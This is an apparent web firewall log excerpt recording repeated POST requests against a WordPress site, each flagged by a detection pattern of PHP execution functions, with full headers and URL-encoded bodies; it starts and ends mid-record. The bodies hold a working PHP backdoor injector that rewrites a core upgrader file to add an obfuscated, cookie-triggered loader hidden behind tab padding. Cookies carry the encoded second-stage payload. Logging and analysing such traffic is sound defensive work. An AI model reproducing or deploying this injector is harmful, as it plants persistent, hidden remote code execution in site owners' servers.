2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFUxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4328\n\nHy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:02","43.230.201.87","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJIRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4328\n\nYQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:09","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJyVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4328\n\nZR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:12","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ej:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524mrk%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522query_handler%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522740cc831e66f91c02a1916d871e9dc78%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524pointer%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522unit_converter_splitter_tool%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C